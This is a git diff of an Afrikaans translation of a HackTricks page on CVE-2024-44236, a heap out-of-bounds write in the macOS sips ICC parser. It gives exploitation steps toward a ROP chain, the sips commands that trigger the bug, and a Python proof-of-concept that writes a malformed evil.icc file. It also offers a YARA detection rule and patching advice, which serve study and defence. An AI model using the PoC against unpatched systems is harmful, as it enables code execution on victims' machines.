Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips

This commit is contained in:
Translator 2025-07-30 04:27:49 +00:00
parent 0ce02c0f24
commit 562235d8be

View File

@ -4,50 +4,94 @@
## Oorsig
'n Uit-die-grense skryf kwesbaarheid in Apple macOS Scriptable Image Processing System (`sips`) ICC profiel parser (macOS 15.0.1, sips-307) as gevolg van onvanpaste validasie van die `offsetToCLUT` veld in `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) etikette. 'n Gemaakte ICC-lêer kan nul-skrywe tot 16 bytes oor die heap buffer aktiveer, wat heap metadata of funksie wysers korrupteer en willekeurige kode-uitvoering moontlik maak (CVE-2024-44236).
'n Uit-die-grense **zero-write** kwesbaarheid in Apple macOS **Scriptable Image Processing System** (`sips`) ICC profiel parser (macOS 15.0.1, `sips-307`) laat 'n aanvaller toe om heap metadata te korrupteer en die primitiewe in volle kode-uitvoering te draai. Die fout is geleë in die hantering van die `offsetToCLUT` veld van die `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) etikette. As aanvallers `offsetToCLUT == tagDataSize` stel, verwyder die parser **16 bytes oor die einde van die heap buffer**. Heap spraying laat die aanvaller toe om allokator strukture of C++ pointers wat later gedereferensieer sal word, op nul te stel, wat 'n **arbitrary-write-to-exec** ketting oplewer (CVE-2024-44236, CVSS 7.8).
> Apple het die fout reggestel in macOS Sonoma 15.2 / Ventura 14.7.1 (30 Oktober 2024). 'n Tweede variasie (CVE-2025-24185) is reggestel in macOS 15.5 en iOS/iPadOS 18.5 op 1 April 2025.
## Kwetsbare Kode
Die kwesbare funksie lees en stel 16 bytes nul vanaf 'n aanvaller-beheerde offset sonder om te verseker dat dit binne die toegewyde buffer lê:
```c
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
if (i > numberOfInputChannels && buffer[i] != 0)
buffer[i] = 0;
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
```
Slegs 'n kontrole `offsetToCLUT <= totalDataLength` word uitgevoer. Deur `offsetToCLUT == tagDataSize` in te stel, indeks die lus tot 16 bytes na die einde van `buffer`, wat aangrensende heap metadata korrupteer.
## Exploitasiestappe
1. **Skep 'n kwaadwillige `.icc` profiel:**
- Bou die ICC-kop (128 bytes) met handtekening `acsp` en 'n enkele `lutAToBType` of `lutBToAType` tag-invoer.
- Stel in die tag-tabel `offsetToCLUT` gelyk aan die tag se `size` (`tagDataSize`).
- Plaas aanvaller-beheerde data onmiddellik na die tag data blok om heap metadata te oorskryf.
2. **Trigger parsing:**
1. **Skep 'n kwaadwillige `.icc` profiel**
* Stel 'n minimale ICC-kop (`acsp`) op en voeg een `mAB ` (of `mBA `) etiket by.
* Konfigureer die etiket tabel sodat die **`offsetToCLUT` gelyk is aan die etiketgrootte** (`tagDataSize`).
* Plaas aanvaller-beheerde data reg na die etiket sodat die 16 nul-skrywings oorvleuel met die allokator metadata.
2. **Trigger parsing met enige sips operasie wat die profiel raak**
```bash
sips --verifyColor malicious.icc
# verifikasiepaaie (geen uitvoerfile benodig nie)
sips --verifyColor evil.icc
# of implisiet wanneer beelde wat die profiel inkorporeer, omskakel
sips -s format png payload.jpg --out out.png
```
3. **Heap metadata korrupsie:** Die OOB nul-skrywings oorskryf allokator metadata of aangrensende wysers, wat die aanvaller in staat stel om die vloei van beheer te kapen en arbitrêre kode-uitvoering te bereik in die konteks van die `sips` proses.
3. **Heap metadata korrupsie ➜ arbitrêre skrywe ➜ ROP**
Op Apple se standaard **`nano_zone` allokator**, metadata vir 16-byte slots leef **onmiddellik na** die gelykgestelde 0x1000 slab. Deur die profiel se etiket aan die einde van so 'n slab te plaas, verwoes die 16 nul-skrywings `meta->slot_B`. Na 'n daaropvolgende `free`, word die vergiftigde wysiger in die klein vrye lys geplaas, wat die aanvaller toelaat om **'n vals objek op 'n arbitrêre adres te allokeer** en 'n C++ vtable wysiger wat deur sips gebruik word, te oorskryf, en uiteindelik die uitvoering na 'n ROP-ketting wat in die kwaadwillige ICC-buffer gestoor is, te draai.
### Vinning PoC generator (Python 3)
```python
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
```
### YARA opsporingsreël
```yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
```
## Impak
Suksesvolle eksploitatie lei tot afstandelike arbitrêre kode-uitvoering met gebruikersprivilege op macOS-stelsels wat die kwesbare `sips` nut gebruik.
Die opening of verwerking van 'n vervaardigde ICC-profiel lei tot afstand **arbitraire kode-uitvoering** in die konteks van die aanroepende gebruiker (Preview, QuickLook, Safari beeldrendering, e-posaanhangsels, ens.), wat Gatekeeper omseil omdat die profiel in andersins goedaardige beelde (PNG/JPEG/TIFF) ingebed kan word.
## Opsporing
## Opsporing & Versagting
- Monitor lêer oordragte op algemene protokolle (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
- Ondersoek oorgedra lêers met handtekening `acsp`.
- Vir elke `mAB ` of `mBA ` tag, verifieer of die `Offset to CLUT` veld gelyk is aan die `Tag data size`.
- Merk as verdag indien hierdie voorwaarde nagekom word.
* **Patches!** Verseker dat die gasheer macOS ≥ 15.2 / 14.7.1 (of iOS/iPadOS ≥ 18.1) draai.
* Ontplooi die YARA-reël hierbo op e-posgate en EDR-oplossings.
* Verwyder of saniteer ingebedde ICC-profiele met `exiftool -icc_profile= -overwrite_original <file>` voordat verdere verwerking op onbetroubare lêers plaasvind.
* Versterk Preview/QuickLook deur dit binne gesandboksde “deursigtigheid & modernisering” VM's te laat loop wanneer onbekende inhoud geanaliseer word.
* Vir DFIR, soek na onlangse uitvoering van `sips --verifyColor` of `ColorSync` biblioteeklaai deur gesandboksde toepassings in die verenigde log.
## Verwysings
- ZDI blog: CVE-2024-44236: Afstandelike Kode-uitvoering Kwesbaarheid in Apple macOS sips Nut
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
- Apple Oktober 2024 Sekuriteitsopdatering (patch wat CVE-2024-44236 verskaf)
https://support.apple.com/en-us/121564
* Trend Micro Zero Day Initiative advies ZDI-24-1445 “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
* Apple sekuriteitsopdaterings HT213981 “Oor die sekuriteitsinhoud van macOS Sonoma 15.2”
https://support.apple.com/en-us/HT213981
{{#include ../../banners/hacktricks-training.md}}